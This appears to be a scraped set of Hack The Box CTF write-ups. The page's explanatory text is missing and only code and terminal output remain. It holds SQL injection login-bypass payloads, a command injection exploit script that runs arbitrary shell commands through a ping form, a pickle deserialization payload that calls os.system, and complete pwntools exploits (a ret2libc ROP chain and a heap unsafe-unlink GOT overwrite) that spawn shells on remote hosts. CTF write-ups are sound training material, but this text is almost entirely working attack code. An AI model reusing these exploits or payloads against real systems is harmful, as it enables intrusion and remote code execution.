Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
select * from users where username = '<username>' AND password = '<password>';admin' OR 1=1select * from users where username = 'admin' OR 1=1 AND password = 'password';admin' OR 1=1;--select * from users where username = 'admin' OR 1=1;-- AND password = 'password';


system("ping -c 4 " + ip);system("ping -c 4 178.62.0.100; ls");PING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
index.phpPING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
bin
boot
dev
entrypoint.sh
etc
flag_2viTb
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
wwwPING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}from requests import post
cmd = input('>> ')
data = {'test': 'ping', 'ip_address': f'178.62.0.100; {cmd}', 'submit': 'Test'}
r = post('http://178.62.0.100:30134/', data=data)
data = r.text
data = data.split('packet loss\n')[-1]
data = data.split('</textarea>')[0]
print(data.strip())$ python3 exploit.py
>> cat /flag_2viTb
HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}function runTest($test, $ip_address)
{
if ($test === 'ping')
{
system("ping -c4 ${ip_address}");
}
if ($test === 'traceroute')
{
system("traceroute ${ip_address}");
}
}
plan_b=KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu$ echo 'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu' | base64 -d
(dp0
S'serum'
p1
ccopy_reg
_reconstructor
p2
(c__main__
anti_pickle_serum
p3
c__builtin__
object
p4
Ntp5
Rp6
s.$ ./ropme
ROP me outside, how 'about dah?
test$ rabin2 -I ropme
bits 64
canary false
nx true
pic false
relro partialfrom pwn import *
elf = context.binary = ELF('./ropme')
libc = elf.libc
p = elf.process()
# ret2plt
rop = ROP(elf)
rop.raw('A' * 72)
rop.puts(elf.got['puts'])
rop.raw(elf.symbols['main'])
p.sendline(rop.chain())
# read the leaked puts address
p.recvline()
puts = u64(p.recv(6) + b'\x00\x00')
log.success(f'Leaked puts: {hex(puts)}')
# Get base
libc.address = puts - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')from pwn import *
elf = context.binary = ELF('./ropme')
if args.REMOTE:
libc = ELF('./libc-remote.so', checksec=False)
p = remote('docker.hackthebox.eu', 31919)
else:
libc = elf.libc
p = elf.process()
# ret2plt
rop = ROP(elf)
rop.raw('A' * 72)
rop.puts(elf.got['puts'])
rop.raw(elf.symbols['main'])
p.sendline(rop.chain())
### Pad with \x00 to get to correct length of 8 bytes
p.recvline()
puts = u64(p.recv(6) + b'\x00\x00')
log.success(f'Leaked puts: {hex(puts)}')
# Get base
libc.address = puts - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')
# ret2libc
binsh = next(libc.search(b'/bin/sh\x00'))
rop = ROP(libc)
rop.raw('A' * 72)
rop.system(binsh)
p.sendline(rop.chain())
p.interactive()
# HTB{r0p_m3_if_y0u_c4n!}from base64 import b64decode
import pickle
code = b'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'
serum = pickle.loads(b64decode(code))
print(serum)$ python3 deserialize.py
Traceback (most recent call last):
File "deserialize.py", line 7, in <module>
serum = pickle.loads(b64decode(code))
AttributeError: Can't get attribute 'anti_pickle_serum' on <module '__main__' from 'deserialize.py'>code = b'KGRwMApT[...]'
anti_pickle_serum = 'test'$ python3 deserialize.py
Traceback (most recent call last):
File "deserialize.py", line 8, in <module>
serum = pickle.loads(b64decode(code))
File "/usr/lib/python3.8/copyreg.py", line 43, in _reconstructor
obj = object.__new__(cls)
TypeError: object.__new__(X): X is not a type object (str)# [imports]
class anti_pickle_serum(object):
def __init__(self):
pass
# [...]$ python3 deserialize.py
{'serum': <__main__.anti_pickle_serum object at 0x7f9e1a1b1c40>}from base64 import b64encode
import pickle
import os
class anti_pickle_serum(object):
def __reduce__(self): # function called by the pickler
return os.system, (['whoami'],)
code = pickle.dumps({'serum': anti_pickle_serum()})
code = b64encode(code)
print(code)$ python3 final.py
b'gASVLAAAAAAAAAB9lIwFc2VydW2UjAVwb3NpeJSMBnN5c3RlbZSTlIwGd2hvYW1plIWUUpRzLg=='code = pickle.dumps({'serum': anti_pickle_serum()}, protocol=0)$ python3 final.py
b'KGRwMApWc2VydW0KcDEKY3Bvc2l4CnN5c3RlbQpwMgooVndob2FtaQpwMwp0cDQKUnA1CnMu'return subprocess.check_output, (['ls'],)$ python final.py
KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKChscDMKUydscycKcDQKYXRwNQpScDYKcy4=return subprocess.check_output, (['cat flag_wIp1b'],)return subprocess.check_output, (['cat', 'flag_wIp1b'],)$ python final.py
KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKChscDMKUydjYXQnCnA0CmFTJ2ZsYWdfd0lwMWInCnA1CmF0cDYKUnA3CnMuironstone@ubuntu:~/Desktop/hackthebox/chapter1$ ./chapter1
+------------------------------+
| Dream Diary |
+------------------------------+
| [1] Allocate |
| [2] Edit |
| [3] Delete |
| [4] Exit |
+------------------------------+
>> 1
Size: 20
Data: ye
Success!
[...]/* Find free chunk index in the list */
/* Input size */
chunk = malloc(size);
*(void **)(&CHUNKLIST + (long)index * 8) = chunk; /* Add chunk address to list */
/* Check for Malloc Errors */
printf("Data: ");
read(*(void **)(&CHUNKLIST + index * 8), size);
puts("Success!");/* Input index */
/* check 0 <= index <= 15 */
/* Check if chunk address in list is zero - if it is, detect the UAF */
/* Read length of data stored there */
size = strlen(*(char **)(&CHUNKLIST + index * 8));
printf("Data: ");
read(*(void **)(&CHUNKLIST + index * 8), size);
puts("Done!");/* Input index */
/* check 0 <= index <= 15 */
/* Check if chunk address in list is zero - if it is, detect the UAF */
free(*(void **)(&CHUNKLIST + index * 8)); /* Free the chunk */
*(&CHUNKLIST + index * 8) = 0; /* Zero out the entry - stop UAF and double-free */
puts("Done!");size = strlen(*(char **)(&CHUNKLIST + index * 8));
read(*(void **)(&CHUNKLIST + index * 8), size);from pwn import *
elf = context.binary = ELF('./chapter1', checksec=False)
libc = elf.libc
p = process()
CHUNKLIST = 0x6020c0
def alloc(size=0x98, data='a'):
p.sendlineafter('>> ', '1')
p.sendlineafter('Size: ', str(size))
p.sendlineafter('Data: ', data)
def free(idx=0):
p.sendlineafter('>> ', '3')
p.sendlineafter('Index: ', str(idx))
def edit(idx=0, data='a'):
p.sendlineafter('>> ', '2')
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('Data: ', data)


Invalid username or passwordthis user already exists





alloc()
alloc()
alloc()
alloc(data='A' * 0x98)
alloc()fake_chunk = flat(
0x0, # fake prev_size (of fake chunk)
0x91, # fake size
CHUNKLIST, # fd (controlled)
CHUNKLIST + 8, # bk (controlled)
b'A' * 0x70, # pad to -8 off max size so we can fake prev_size
0x90 # fake prev_size
)
fake_chunk += p16(0xa0) # overwrite PREV_IN_USE
edit(3, fake_chunk)FD = P->fd (= CHUNKLIST)
BK = P->bk (= CHUNKLIST + 8)
FD->bk = BK (CHUNKLIST + 0x18 = CHUNKLIST)
BK->fd = FD (CHUNKLIST + 8 + 0x10 = CHUNKLIST)# now we write strlen@GOT to the chunklist
edit(3, p64(elf.got['strlen']))
edit(0, p64(elf.plt['puts']))
# now when we edit() we read chunk contents
# but strlen@got holds a PLT address, so let's change the GOT entry for the leak
edit(3, p64(elf.got['free']))p.sendline('2')
p.sendlineafter('Index: ', '0')
print(p.clean())b'@u\xdb%\xc0\x7f\nData: 'free_leak = u64(p.recv(6) + b'\x00\x00')
log.success('Free Leak: ' + hex(free_leak))
libc.address = free_leak - libc.symbols['free']
log.success('Libc base: ' + hex(libc.address))
p.recvuntil('Data: ') # just receive the rest[+] Free Leak: 0x7f2211927540
[+] Libc base: 0x7f22118a3000# right at the beginning
alloc()
alloc(data='/bin/sh\x00')
alloc()
alloc(data='A' * 0x98)
alloc()p.sendline(p64(libc.symbols['system'])) # pass in system@libc as the data
free(1) # trigger system@libc with the parameter /bin/sh
p.interactive()[+] Free Leak: 0x7f04d4413540
[+] Libc base: 0x7f04d438f000
[*] Switching to interactive mode
$ ls
chapter1 exploit.pyif args.REMOTE:
p = remote('167.71.140.171', 31713)
libc = ELF('./libc-remote.so')
else:
p = process()
libc = elf.libcif args.REMOTE:
p.recvuntil('0\r\n') # echoed back
free_leak = u64(p.recv(6) + b'\x00\x00') # now leak as usual
# [...]system = p64(libc.symbols['system'])
if args.REMOTE:
system = system.replace(b'\x7f', b'\x16\x7f') # escape backspace
p.sendline(system)[+] Free Leak: 0x7fe8285324f0
[+] Libc base: 0x7fe8284ae000
[*] Switching to interactive mode
$ cat flag
HTB{Singl3?_NO!_D0ubl3?_NO!_Tr1pl3_Unsaf3_Unlink}from pwn import *
elf = context.binary = ELF('./chapter1', checksec=False)
if args.REMOTE:
p = remote('178.62.90.208', 30352)
libc = ELF('./libc-remote.so')
else:
p = process()
libc = elf.libc
CHUNKLIST = 0x6020c0
def alloc(size=0x98, data='a'):
p.sendlineafter('>> ', '1')
p.sendlineafter('Size: ', str(size))
p.sendlineafter('Data: ', data)
def free(idx):
p.sendlineafter('>> ', '3')
p.sendlineafter('Index: ', str(idx))
def edit(idx, data='a'):
p.sendlineafter('>> ', '2')
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('Data: ', data)
alloc()
alloc(data='/bin/sh\x00')
alloc()
alloc(data='A' * 0x98)
alloc()
fake_chunk = flat(
0x0, # fake prev_size (of fake chunk)
0x91, # fake size
CHUNKLIST, # fd (controlled)
CHUNKLIST + 8, # bk (controlled)
b'A' * (0x70), # pad to -8 off max size so we can fake prev_size
0x90 # fake prev_size
)
fake_chunk += p16(0xa0) # overwrite PREV_IN_USE
edit(3, fake_chunk)
free(4)
# now we write strlen@GOT to the chunklist
edit(3, p64(elf.got['strlen']))
edit(0, p64(elf.plt['puts']))
# now when we edit() we read chunk contentx
# but strlen@got holds a PLT address, so let's change the GOT entry for the leak
edit(3, p64(elf.got['free']))
# have to do this one part at a time to grab the address
p.sendline('2')
p.sendlineafter('Index: ', '0')
if args.REMOTE:
p.recvuntil('0\r\n')
free_leak = u64(p.recv(6) + b'\x00\x00')
log.success('Free Leak: ' + hex(free_leak))
libc.address = free_leak - libc.symbols['free']
log.success('Libc base: ' + hex(libc.address))
p.recvuntil('Data: ') # just receive the rest
# send system
system = p64(libc.symbols['system'])
if args.REMOTE:
system = system.replace(b'\x7f', b'\x16\x7f') # socat badchars - \x7f interpreted as backspace, escape with \x16
p.sendline(system)
free(1)
p.interactive()

